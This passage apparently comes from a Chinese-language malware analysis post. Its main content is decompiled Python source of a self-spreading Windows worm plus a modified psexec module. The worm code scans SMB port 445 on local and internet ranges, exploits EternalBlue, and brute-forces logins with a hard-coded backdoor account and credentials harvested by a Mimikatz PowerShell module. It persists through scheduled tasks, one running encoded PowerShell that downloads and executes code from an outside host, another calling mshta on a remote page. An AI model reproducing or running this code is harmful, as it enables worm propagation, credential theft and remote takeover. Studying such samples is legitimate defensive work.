||||||
|
print 'no user2'
|
||||||
|
|
||||||
|
lock2.release()
|
||||||
|
except:
|
||||||
|
print '[*] maybe crash'
|
||||||
|
time.sleep(6)
|
||||||
|
try:
|
||||||
|
print 'exp again '
|
||||||
|
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
|
||||||
|
except:
|
||||||
|
print 'no user3'
|
||||||
|
|
||||||
|
lock2.release()
|
||||||
|
|
||||||
|
elif 'Windows Server 2008' in os:
|
||||||
|
if scan(ip, 65533) == 0:
|
||||||
|
print '[+] exploit...' + ip + ' win2k8'
|
||||||
|
try:
|
||||||
|
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
|
||||||
|
except:
|
||||||
|
print 'no user'
|
||||||
|
try:
|
||||||
|
exploit3(ip, sc, int(random.randint(5, 13)))
|
||||||
|
try:
|
||||||
|
print 'exp again '
|
||||||
|
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
|
||||||
|
except:
|
||||||
|
print 'no user 2'
|
||||||
|
|
||||||
|
lock3.release()
|
||||||
|
except:
|
||||||
|
print '[*] maybe crash'
|
||||||
|
time.sleep(6)
|
||||||
|
try:
|
||||||
|
print 'exp again '
|
||||||
|
exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
|
||||||
|
except:
|
||||||
|
print 'no user 3'
|
||||||
|
|
||||||
|
lock3.release()
|
||||||
|
|
||||||
|
if 'Windows 5.1' in os:
|
||||||
|
if scan(ip, 65533) == 0:
|
||||||
|
print '[+] exploit...' + ip + ' xp'
|
||||||
|
try:
|
||||||
|
exploit(ip, None, '', '', tg)
|
||||||
|
except:
|
||||||
|
print 'not succ'
|
||||||
|
|
||||||
|
elif 'Windows Server 2003' in os:
|
||||||
|
if scan(ip, 65533) == 0:
|
||||||
|
print '[+] exploit...' + ip + ' win2k3'
|
||||||
|
try:
|
||||||
|
exploit(ip, None, '', '', tg)
|
||||||
|
except:
|
||||||
|
print 'not succ'
|
||||||
|
|
||||||
|
elif scan(ip, 65533) == 0:
|
||||||
|
print '[+] exploit...' + ip + ' *************************other os'
|
||||||
|
for u in userlist:
|
||||||
|
for p in passlist:
|
||||||
|
if u == '' and p != '':
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
exploit(ip, None, u, p, tg)
|
||||||
|
except:
|
||||||
|
print 'exp not succ!'
|
||||||
|
|
||||||
|
else:
|
||||||
|
print '[-] [%s](%s) stays in safety' % (ip, os)
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
|
||||||
|
def check_thread(ip_address):
|
||||||
|
global semaphore
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
check_ip(ip_address, tg=1)
|
||||||
|
except Exception as e:
|
||||||
|
with print_lock:
|
||||||
|
tmp = 2
|
||||||
|
|
||||||
|
finally:
|
||||||
|
semaphore.release()
|
||||||
|
|
||||||
|
|
||||||
|
def check_thread2(ip_address):
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
check_ip(ip_address, tg=2)
|
||||||
|
except Exception as e:
|
||||||
|
with print_lock:
|
||||||
|
tmp = 2
|
||||||
|
|
||||||
|
finally:
|
||||||
|
semaphore.release()
|
||||||
|
|
||||||
|
|
||||||
|
one = 1
|
||||||
|
try:
|
||||||
|
h_one = socket.socket()
|
||||||
|
addr = ('', 60124)
|
||||||
|
h_one.bind(addr)
|
||||||
|
one = 1
|
||||||
|
except:
|
||||||
|
one = 2
|
||||||
|
|
||||||
|
if one == 2:
|
||||||
|
print 'alredy run eb'
|
||||||
|
sys.exit()
|
||||||
|
usr = subprocess.Popen('cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445', stdout=subprocess.PIPE)
|
||||||
|
dusr = usr.stdout.read()
|
||||||
|
if 'k8h3d' in dusr:
|
||||||
|
usr = subprocess.Popen('cmd /c net user k8h3d /del', stdout=subprocess.PIPE)
|
||||||
|
dl = ''
|
||||||
|
ee2 = ''
|
||||||
|
if os.path.exists('c:/windows/system32/svhost.exe'):
|
||||||
|
dl = 'c:\\windows\\system32\\svhost.exe'
|
||||||
|
if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
|
||||||
|
dl = 'c:\\windows\\SysWOW64\\svhost.exe'
|
||||||
|
if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
|
||||||
|
dl = 'c:\\windows\\system32\\drivers\\svchost.exe'
|
||||||
|
if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
|
||||||
|
dl = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
|
||||||
|
if os.path.exists('c:/windows/temp/svvhost.exe'):
|
||||||
|
ee2 = 'c:\\windows\\temp\\svvhost.exe'
|
||||||
|
if os.path.exists('c:/windows/temp/svchost.exe'):
|
||||||
|
ee2 = 'c:\\windows\\temp\\svchost.exe'
|
||||||
|
if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
|
||||||
|
usr0 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C:\\Windows\\temp\\svchost.exe" /F', stdout=subprocess.PIPE)
|
||||||
|
usr1 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F', stdout=subprocess.PIPE)
|
||||||
|
|
||||||
|
def mmka():
|
||||||
|
global domainlist
|
||||||
|
global passlist
|
||||||
|
global userlist2
|
||||||
|
if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
|
||||||
|
if os.path.exists('c:/windows/temp/m.ps1'):
|
||||||
|
if os.path.exists('c:/windows/temp/mkatz.ini'):
|
||||||
|
print 'mkatz.ini exist'
|
||||||
|
mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
|
||||||
|
mnow = int(time.time())
|
||||||
|
if (mnow - mtime) / 60 / 60 < 24:
|
||||||
|
musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
|
||||||
|
else:
|
||||||
|
print 'reload mimi'
|
||||||
|
if 'PROGRAMFILES(X86)' in os.environ:
|
||||||
|
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
else:
|
||||||
|
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
musr = usr.stdout.read()
|
||||||
|
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
|
||||||
|
fmk.write(musr)
|
||||||
|
fmk.close()
|
||||||
|
else:
|
||||||
|
print 'reload mimi'
|
||||||
|
if 'PROGRAMFILES(X86)' in os.environ:
|
||||||
|
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
else:
|
||||||
|
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
musr = usr.stdout.read()
|
||||||
|
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
|
||||||
|
fmk.write(musr)
|
||||||
|
fmk.close()
|
||||||
|
else:
|
||||||
|
fm = open('c:\\windows\\temp\\m.ps1', 'w')
|
||||||
|
fm.write(mkatz)
|
||||||
|
fm.close()
|
||||||
|
if os.path.exists('c:/windows/temp/mkatz.ini'):
|
||||||
|
print 'mkatz.ini exist'
|
||||||
|
mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
|
||||||
|
mnow = int(time.time())
|
||||||
|
if (mnow - mtime) / 60 / 60 < 24:
|
||||||
|
print 'reload mimi'
|
||||||
|
musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
|
||||||
|
else:
|
||||||
|
print 'reload mimi'
|
||||||
|
if 'PROGRAMFILES(X86)' in os.environ:
|
||||||
|
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
else:
|
||||||
|
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
musr = usr.stdout.read()
|
||||||
|
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
|
||||||
|
fmk.write(musr)
|
||||||
|
fmk.close()
|
||||||
|
else:
|
||||||
|
print 'reload mimi'
|
||||||
|
if 'PROGRAMFILES(X86)' in os.environ:
|
||||||
|
usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
else:
|
||||||
|
usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
|
||||||
|
musr = usr.stdout.read()
|
||||||
|
fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
|
||||||
|
fmk.write(musr)
|
||||||
|
fmk.close()
|
||||||
|
else:
|
||||||
|
usr3 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck)', stdout=subprocess.PIPE)
|
||||||
|
usr4 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "C:\\Windows\\temp\\svchost.exe"&schtasks /run /TN Autoscan)', stdout=subprocess.PIPE)
|
||||||
|
print 'mimi over'
|
||||||
|
usern = ''
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
tspkg = ''
|
||||||
|
wdigest = ''
|
||||||
|
kerberos = ''
|
||||||
|
domain = ''
|
||||||
|
usernull = ''
|
||||||
|
try:
|
||||||
|
dousr = subprocess.Popen('cmd /c wmic ntdomain get domainname', stdout=subprocess.PIPE)
|
||||||
|
domianusr = dousr.stdout.read()
|
||||||
|
dousr = subprocess.Popen('cmd /c net user', stdout=subprocess.PIPE)
|
||||||
|
luser = dousr.stdout.read().split('\r\n')[:-3]
|
||||||
|
for c in luser:
|
||||||
|
if '-' in c:
|
||||||
|
continue
|
||||||
|
for j in c.split(' '):
|
||||||
|
if '' == j:
|
||||||
|
continue
|
||||||
|
if 'Guest' == j:
|
||||||
|
continue
|
||||||
|
userlist2.append(j.strip())
|
||||||
|
|
||||||
|
if '* LM' in musr:
|
||||||
|
mmlist = musr.split('* LM')
|
||||||
|
del mmlist[0]
|
||||||
|
for i in mmlist:
|
||||||
|
domaint = i.split('Domain :')[1].split('\n')[0].strip()
|
||||||
|
if domaint in domianusr:
|
||||||
|
domainlist.append(domaint)
|
||||||
|
for ii in i.split('Authentication')[0].split('Username :')[1:]:
|
||||||
|
unt = ii.split('\n')[0].strip()
|
||||||
|
userlist2.append(unt)
|
||||||
|
|
||||||
|
for ii in i.split('Authentication')[0].split('Password :')[1:]:
|
||||||
|
pwdt = ii.split('\n')[0].strip()
|
||||||
|
if pwdt != '(null)':
|
||||||
|
passlist.append(pwdt)
|
||||||
|
|
||||||
|
passlist = list(set(passlist))
|
||||||
|
userlist2 = list(set(userlist2))
|
||||||
|
domainlist = list(set(domainlist))
|
||||||
|
|
||||||
|
else:
|
||||||
|
print 'nobody logon'
|
||||||
|
if '* NTLM' in musr:
|
||||||
|
mmlist = musr.split('* NTLM')
|
||||||
|
del mmlist[0]
|
||||||
|
for i in mmlist:
|
||||||
|
NThash = i.split(':')[1].split('\n')[0].strip()
|
||||||
|
ntlist.append(NThash)
|
||||||
|
|
||||||
|
except:
|
||||||
|
print 'except'
|
||||||
|
|
||||||
|
|
||||||
|
mmka()
|
||||||
|
var = 1
|
||||||
|
while var == 1:
|
||||||
|
print 'start scan'
|
||||||
|
if '.exe' in dl:
|
||||||
|
for network in find_ip():
|
||||||
|
print network
|
||||||
|
ip, cidr = network.split('/')
|
||||||
|
cidr = int(cidr)
|
||||||
|
host_bits = 32 - cidr
|
||||||
|
i = struct.unpack('>I', socket.inet_aton(ip))[0]
|
||||||
|
start = i >> host_bits << host_bits
|
||||||
|
end = i | (1 << host_bits) - 1
|
||||||
|
for i in range(start + 1, end):
|
||||||
|
semaphore1.acquire()
|
||||||
|
ip = socket.inet_ntoa(struct.pack('>I', i))
|
||||||
|
t1 = threading.Thread(target=scansmb, args=(ip, 445))
|
||||||
|
t1.start()
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
print 'smb over sleep 200s'
|
||||||
|
time.sleep(5)
|
||||||
|
if 'Windows-XP' in platform.platform():
|
||||||
|
time.sleep(1000)
|
||||||
|
else:
|
||||||
|
print 'start scan2'
|
||||||
|
if '.exe' in dl:
|
||||||
|
for network in iplist2:
|
||||||
|
ip, cidr = network.split('/')
|
||||||
|
if ip.split('.')[0].strip() == '192':
|
||||||
|
continue
|
||||||
|
if ip.split('.')[0].strip() == '127':
|
||||||
|
continue
|
||||||
|
if ip.split('.')[0].strip() == '10':
|
||||||
|
continue
|
||||||
|
if ip.split('.')[0].strip() == '0':
|
||||||
|
continue
|
||||||
|
if ip.split('.')[0].strip() == '100':
|
||||||
|
continue
|
||||||
|
if ip.split('.')[0].strip() == '172':
|
||||||
|
continue
|
||||||
|
if int(ip.split('.')[0].strip()) in xrange(224, 256):
|
||||||
|
continue
|
||||||
|
print network
|
||||||
|
cidr = int(cidr)
|
||||||
|
host_bits = 32 - 16
|
||||||
|
i = struct.unpack('>I', socket.inet_aton(ip))[0]
|
||||||
|
start = i >> host_bits << host_bits
|
||||||
|
end = i | (1 << host_bits) - 1
|
||||||
|
for i in range(start + 1, end):
|
||||||
|
semaphore2.acquire()
|
||||||
|
ip = socket.inet_ntoa(struct.pack('>I', i))
|
||||||
|
t1 = threading.Thread(target=scansmb3, args=(ip, 445))
|
||||||
|
t1.start()
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
print 'smb over sleep 200s'
|
||||||
|
time.sleep(5)
|
||||||
|
print 'eb2 internet'
|
||||||
|
for s in xip(500):
|
||||||
|
if s.split('.')[0].strip() == '127':
|
||||||
|
continue
|
||||||
|
if s.split('.')[0].strip() == '10':
|
||||||
|
continue
|
||||||
|
if s.split('.')[0].strip() == '0':
|
||||||
|
continue
|
||||||
|
if s.split('.')[0].strip() == '100':
|
||||||
|
continue
|
||||||
|
if s.split('.')[0].strip() == '172':
|
||||||
|
continue
|
||||||
|
if int(s.split('.')[0].strip()) in xrange(224, 256):
|
||||||
|
continue
|
||||||
|
print s
|
||||||
|
ip, cidr = s.split('/')
|
||||||
|
cidr = int(cidr)
|
||||||
|
host_bits = 32 - cidr
|
||||||
|
i = struct.unpack('>I', socket.inet_aton(ip))[0]
|
||||||
|
start = i >> host_bits << host_bits
|
||||||
|
end = i | (1 << host_bits) - 1
|
||||||
|
for i in range(start + 1, end):
|
||||||
|
semaphore1.acquire()
|
||||||
|
ip = socket.inet_ntoa(struct.pack('>I', i))
|
||||||
|
t1 = threading.Thread(target=scansmb2, args=(ip, 445))
|
||||||
|
t1.start()
|
||||||
|
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
print 'eb2 over'
|
||||||
|
print 'sleep 10min'
|
||||||
|
time.sleep(5)
|
||||||
|
mmka()
|
||||||
|
|
||||||
|
# global h_one ## Warning: Unused global
|
||||||
|
```
|
||||||
|
里面有两个不是公开的库,mysmb和psexec,其中mysmb看起来是[永恒之蓝RCE中的代码](https://github.com/0xsyr0/OSCP/blob/main/exploits/CVE-2017-0144-EternalBlue-MS17-010-RCE/mysmb.py),psexec有找到几个相似的但是没找到一样的,所以代码也放上来:
|
||||||
|
```python
|
||||||
|
# uncompyle6 version 3.9.2
|
||||||
|
# Python bytecode version base 2.7 (62211)
|
||||||
|
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
|
||||||
|
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
|
||||||
|
# Embedded file name: psexec.py
|
||||||
|
|
||||||
|
import sys, os, cmd, logging
|
||||||
|
from threading import Thread, Lock
|
||||||
|
import argparse, random, string, time
|
||||||
|
from impacket.examples import logger
|
||||||
|
from impacket import version, smb
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
from impacket.dcerpc.v5 import transport
|
||||||
|
from impacket.structure import Structure
|
||||||
|
from impacket.examples import remcomsvc, serviceinstall
|
||||||
|
|
||||||
|
class RemComMessage(Structure):
|
||||||
|
structure = (
|
||||||
|
('Command', '4096s=""'),
|
||||||
|
('WorkingDir', '260s=""'),
|
||||||
|
('Priority', '<L=0x20'),
|
||||||
|
('ProcessID', '<L=0x01'),
|
||||||
|
('Machine', '260s=""'),
|
||||||
|
('NoWait', '<L=0'))
|
||||||
|
|
||||||
|
|
||||||
|
class RemComResponse(Structure):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', '<L=0'),
|
||||||
|
('ReturnCode', '<L=0'))
|
||||||
|
|
||||||
|
|
||||||
|
RemComSTDOUT = 'RemCom_stdout'
|
||||||
|
RemComSTDIN = 'RemCom_stdin'
|
||||||
|
RemComSTDERR = 'RemCom_stderr'
|
||||||
|
lock = Lock()
|
||||||
|
|
||||||
|
class RemoteShell(cmd.Cmd):
|
||||||
|
|
||||||
|
def __init__(self, server, port, credentials, tid, fid, share, transport):
|
||||||
|
cmd.Cmd.__init__(self, False)
|
||||||
|
self.prompt = '\x08'
|
||||||
|
self.server = server
|
||||||
|
self.transferClient = None
|
||||||
|
self.tid = tid
|
||||||
|
self.fid = fid
|
||||||
|
self.credentials = credentials
|
||||||
|
self.share = share
|
||||||
|
self.port = port
|
||||||
|
self.transport = transport
|
||||||
|
return
|
||||||
|
|
||||||
|
def connect_transferClient(self):
|
||||||
|
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
|
||||||
|
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
|
||||||
|
if self.transport.get_kerberos() is True:
|
||||||
|
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
|
||||||
|
else:
|
||||||
|
self.transferClient.login(user, passwd, domain, lm, nt)
|
||||||
|
|
||||||
|
def do_help(self, line):
|
||||||
|
print '\n lcd {path} - changes the current local directory to {path}\n exit - terminates the server process (and this session)\n put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir\n ! {cmd} - executes a local shell cmd\n' % (self.share, self.share)
|
||||||
|
self.send_data('\r\n', False)
|
||||||
|
|
||||||
|
def do_shell(self, s):
|
||||||
|
os.system(s)
|
||||||
|
self.send_data('\r\n')
|
||||||
|
|
||||||
|
def do_get(self, src_path):
|
||||||
|
try:
|
||||||
|
if self.transferClient is None:
|
||||||
|
self.connect_transferClient()
|
||||||
|
import ntpath
|
||||||
|
filename = ntpath.basename(src_path)
|
||||||
|
fh = open(filename, 'wb')
|
||||||
|
logging.info('Downloading %s\\%s' % (self.share, src_path))
|
||||||
|
self.transferClient.getFile(self.share, src_path, fh.write)
|
||||||
|
fh.close()
|
||||||
|
except Exception as e:
|
||||||
|
logging.critical(str(e))
|
||||||
|
|
||||||
|
self.send_data('\r\n')
|
||||||
|
return
|
||||||
|
|
||||||
|
def do_put(self, s):
|
||||||
|
try:
|
||||||
|
if self.transferClient is None:
|
||||||
|
self.connect_transferClient()
|
||||||
|
params = s.split(' ')
|
||||||
|
if len(params) > 1:
|
||||||
|
src_path = params[0]
|
||||||
|
dst_path = params[1]
|
||||||
|
elif len(params) == 1:
|
||||||
|
src_path = params[0]
|
||||||
|
dst_path = '/'
|
||||||
|
src_file = os.path.basename(src_path)
|
||||||
|
fh = open(src_path, 'rb')
|
||||||
|
f = dst_path + '/' + src_file
|
||||||
|
print '!!!!!!!!!!!!!!!!' + f
|
||||||
|
pathname = string.replace(f, '/', '\\')
|
||||||
|
logging.info('Uploading1111111111 %s to %s\\%s' % (src_file, self.share, dst_path))
|
||||||
|
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
|
||||||
|
fh.close()
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(str(e))
|
||||||
|
|
||||||
|
self.send_data('\r\n')
|
||||||
|
return
|
||||||
|
|
||||||
|
def do_lcd(self, s):
|
||||||
|
if s == '':
|
||||||
|
print os.getcwd()
|
||||||
|
else:
|
||||||
|
os.chdir(s)
|
||||||
|
self.send_data('\r\n')
|
||||||
|
|
||||||
|
def emptyline(self):
|
||||||
|
self.send_data('\r\n')
|
||||||
|
|
||||||
|
def default(self, line):
|
||||||
|
self.send_data(line.decode(sys.stdin.encoding).encode('cp437') + '\r\n')
|
||||||
|
|
||||||
|
def send_data(self, data, hideOutput=True):
|
||||||
|
global LastDataSent
|
||||||
|
if hideOutput is True:
|
||||||
|
LastDataSent = data
|
||||||
|
else:
|
||||||
|
LastDataSent = ''
|
||||||
|
self.server.writeFile(self.tid, self.fid, data)
|
||||||
|
|
||||||
|
|
||||||
|
class Pipes(Thread):
|
||||||
|
|
||||||
|
def __init__(self, transport, pipe, permissions, share=None):
|
||||||
|
Thread.__init__(self)
|
||||||
|
self.server = 0
|
||||||
|
self.transport = transport
|
||||||
|
self.credentials = transport.get_credentials()
|
||||||
|
self.tid = 0
|
||||||
|
self.fid = 0
|
||||||
|
self.share = share
|
||||||
|
self.port = transport.get_dport()
|
||||||
|
self.pipe = pipe
|
||||||
|
self.permissions = permissions
|
||||||
|
self.daemon = True
|
||||||
|
|
||||||
|
def connectPipe(self):
|
||||||
|
try:
|
||||||
|
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
|
||||||
|
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
|
||||||
|
if self.transport.get_kerberos() is True:
|
||||||
|
self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
|
||||||
|
else:
|
||||||
|
self.server.login(user, passwd, domain, lm, nt)
|
||||||
|
self.tid = self.server.connectTree('IPC$')
|
||||||
|
self.server.waitNamedPipe(self.tid, self.pipe)
|
||||||
|
self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=64, fileAttributes=128)
|
||||||
|
self.server.setTimeout(1000)
|
||||||
|
except:
|
||||||
|
logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteStdOutPipe(Pipes):
|
||||||
|
|
||||||
|
def __init__(self, transport, pipe, permisssions):
|
||||||
|
Pipes.__init__(self, transport, pipe, permisssions)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
global LastDataSent
|
||||||
|
self.connectPipe()
|
||||||
|
return
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
ans = self.server.readFile(self.tid, self.fid, 0, 1024)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
if ans != LastDataSent:
|
||||||
|
sys.stdout.write(ans.decode('cp437'))
|
||||||
|
sys.stdout.flush()
|
||||||
|
else:
|
||||||
|
LastDataSent = ''
|
||||||
|
if LastDataSent > 10:
|
||||||
|
LastDataSent = ''
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteStdErrPipe(Pipes):
|
||||||
|
|
||||||
|
def __init__(self, transport, pipe, permisssions):
|
||||||
|
Pipes.__init__(self, transport, pipe, permisssions)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.connectPipe()
|
||||||
|
return
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
ans = self.server.readFile(self.tid, self.fid, 0, 1024)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
sys.stderr.write(str(ans))
|
||||||
|
sys.stderr.flush()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class RemoteStdInPipe(Pipes):
|
||||||
|
|
||||||
|
def __init__(self, transport, pipe, permisssions, share=None):
|
||||||
|
self.shell = None
|
||||||
|
Pipes.__init__(self, transport, pipe, permisssions, share)
|
||||||
|
return
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.connectPipe()
|
||||||
|
return
|
||||||
|
self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
|
||||||
|
self.shell.cmdloop()
|
||||||
|
|
||||||
|
|
||||||
|
class StrReader:
|
||||||
|
|
||||||
|
def __init__(self, str):
|
||||||
|
self.__str = str
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def read(self, size=1024):
|
||||||
|
ret_str = self.__str[:size]
|
||||||
|
self.__str = self.__str[size:]
|
||||||
|
return ret_str
|
||||||
|
|
||||||
|
|
||||||
|
class PSEXEC:
|
||||||
|
KNOWN_PROTOCOLS = {'445/SMB': ('ncacn_np:%s[\\pipe\\svcctl]', 445)}
|
||||||
|
|
||||||
|
def __init__(self, copyFile=None, exeFile=None, cmd='', username='', password='', domain='', fr='', hashes=None, aesKey=None, doKerberos=False):
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys()
|
||||||
|
self.__command = cmd
|
||||||
|
self.__domain = domain
|
||||||
|
self.__fr = fr
|
||||||
|
self.__lmhash = ''
|
||||||
|
self.__nthash = ''
|
||||||
|
self.__path = None
|
||||||
|
self.__aesKey = aesKey
|
||||||
|
self.__exeFile = exeFile
|
||||||
|
self.__copyFile = copyFile
|
||||||
|
self.__doKerberos = doKerberos
|
||||||
|
if hashes is not None:
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
return
|
||||||
|
|
||||||
|
def run(self, addr):
|
||||||
|
for protocol in self.__protocols:
|
||||||
|
protodef = PSEXEC.KNOWN_PROTOCOLS[protocol]
|
||||||
|
port = protodef[1]
|
||||||
|
logging.info('Trying protocol %s...\n' % protocol)
|
||||||
|
stringbinding = protodef[0] % addr
|
||||||
|
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||||
|
rpctransport.set_dport(port)
|
||||||
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
|
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||||
|
rpctransport.set_kerberos(self.__doKerberos)
|
||||||
|
self.doStuff(rpctransport)
|
||||||
|
|
||||||
|
def openPipe(self, s, tid, pipe, accessMask):
|
||||||
|
pipeReady = False
|
||||||
|
tries = 50
|
||||||
|
while pipeReady is False and tries > 0:
|
||||||
|
try:
|
||||||
|
s.waitNamedPipe(tid, pipe)
|
||||||
|
pipeReady = True
|
||||||
|
except:
|
||||||
|
tries -= 1
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
if tries == 0:
|
||||||
|
logging.critical('Pipe not ready, aborting')
|
||||||
|
raise
|
||||||
|
fid = s.openFile(tid, pipe, accessMask, creationOption=64, fileAttributes=128)
|
||||||
|
return fid
|
||||||
|
|
||||||
|
def connectPipe(rpctransport, pipe, permisssions):
|
||||||
|
transport = rpctransport
|
||||||
|
server = SMBConnection('*SMBSERVER', transport.get_smb_connection().getRemoteHost(), sess_port=transport.get_dport(), preferredDialect=dialect)
|
||||||
|
user, passwd, domain, lm, nt, aesKey, TGT, TGS = transport.get_credentials()
|
||||||
|
if transport.get_kerberos() is True:
|
||||||
|
server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
|
||||||
|
else:
|
||||||
|
server.login(user, passwd, domain, lm, nt)
|
||||||
|
tid = server.connectTree('IPC$')
|
||||||
|
server.waitNamedPipe(tid, pipe)
|
||||||
|
fid = self.server.openFile(tid, pipe, permissions, creationOption=64, fileAttributes=128)
|
||||||
|
server.setTimeout(6000)
|
||||||
|
return server
|
||||||
|
|
||||||
|
def doStuff(self, rpctransport):
|
||||||
|
global LastDataSent
|
||||||
|
global dialect
|
||||||
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
try:
|
||||||
|
dce.connect()
|
||||||
|
except Exception as e:
|
||||||
|
return False
|
||||||
|
|
||||||
|
dialect = rpctransport.get_smb_connection().getDialect()
|
||||||
|
try:
|
||||||
|
unInstalled = False
|
||||||
|
s = rpctransport.get_smb_connection()
